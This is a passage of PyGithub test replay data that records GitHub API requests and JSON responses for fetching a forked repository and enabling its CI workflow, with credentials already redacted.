users/nickrmcclorey/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/nickrmcclorey/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nickrmcclorey/PyGithub","forks_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/forks","keys_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/teams","hooks_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/events","assignees_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/tags","blobs_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/subscription","commits_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/merges","archive_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/downloads","issues_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/deployments","created_at":"2024-12-07T02:17:32Z","updated_at":"2024-12-07T02:17:32Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/nickrmcclorey/PyGithub.git","ssh_url":"git@github.com:nickrmcclorey/PyGithub.git","clone_url":"https://github.com/nickrmcclorey/PyGithub.git","svn_url":"https://github.com/nickrmcclorey/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-12-06T08:32:51Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":7064,"watchers_count":7064,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":352,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":352,"watchers":7064,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-12-06T08:32:51Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":7064,"watchers_count":7064,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":352,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":352,"watchers":7064,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"enabled"},"secret_scanning_push_protection":{"status":"enabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":0} https GET api.github.com None /repos/nickrmcclorey/PyGithub/actions/workflows/ci.yml {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 07 Dec 2024 02:51:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"456542a697db966667cc2b698c23e673b908e1ae52c758b44f8a983ba30d1788"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4853'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '147'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '985C:6D2CF:2F7CC65:5E08BCE:6753B824'), ('Server', 'github.com')] {"id":131874881,"node_id":"W_kwDONaGPH84H3EBB","name":"CI","path":".github/workflows/ci.yml","state":"disabled_manually","created_at":"2024-12-06T21:17:46.000-05:00","updated_at":"2024-12-06T21:51:14.000-05:00","url":"https://api.github.com/repos/nickrmcclorey/PyGithub/actions/workflows/131874881","html_url":"https://github.com/nickrmcclorey/PyGithub/blob/main/.github/workflows/ci.yml","badge_url":"https://github.com/nickrmcclorey/PyGithub/workflows/CI/badge.svg"} https PUT api.github.com None /repos/nickrmcclorey/PyGithub/actions/workflows/131874881/enable {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Sat, 07 Dec 2024 02:51:17 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4852'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '148'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '9866:1C6297:2A747D7:53F406D:6753B825'), ('Server', 'github.com')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testEnableWhenAlreadyEnabled.txt0000644000175100001660000005351014756101563026221 0ustar00runnerdockerhttps GET api.github.com None /repos/nickrmcclorey/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 07 Dec 2024 02:51:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"56ffc753ee94d9b7593858e35c96fedbb0cd4b1a0a2c489935d170d5018cb47f"'), ('Last-Modified', 'Sat, 07 Dec 2024 02:17:32 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4849'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '151'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '987E:100AE7:2B1C4F3:555C669:6753B826'), ('Server', 'github.com')] {"id":899780383,"node_id":"R_kgDONaGPHw","name":"PyGithub","full_name":"nickrmcclorey/PyGithub","private":false,"owner":{"login":"nickrmcclorey","id":32378821,"node_id":"MDQ6VXNlcjMyMzc4ODIx","avatar_url":"https://avatars.githubusercontent.com/u/32378821?v=4","gravatar_id":"","url":"https://api.github.com/users/nickrmcclorey","html_url":"https://github.com/nickrmcclorey","followers_url":"https://api.github.com/users/nickrmcclorey/followers","following_url":"https://api.github.com/users/nickrmcclorey/following{/other_user}","gists_url":"https://api.github.com/users/nickrmcclorey/gists{/gist_id}","starred_url":"https://api.github.com/users/nickrmcclorey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nickrmcclorey/subscriptions","organizations_url":"https://api.github.com/users/nickrmcclorey/orgs","repos_url":"https://api.github.com/users/nickrmcclorey/repos","events_url":"https://api.github.com/users/nickrmcclorey/events{/privacy}","received_events_url":"https://api.github.com/users/nickrmcclorey/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/nickrmcclorey/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nickrmcclorey/PyGithub","forks_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/forks","keys_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/teams","hooks_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/events","assignees_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/tags","blobs_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/subscription","commits_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/merges","archive_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/downloads","issues_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/deployments","created_at":"2024-12-07T02:17:32Z","updated_at":"2024-12-07T02:17:32Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/nickrmcclorey/PyGithub.git","ssh_url":"git@github.com:nickrmcclorey/PyGithub.git","clone_url":"https://github.com/nickrmcclorey/PyGithub.git","svn_url":"https://github.com/nickrmcclorey/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/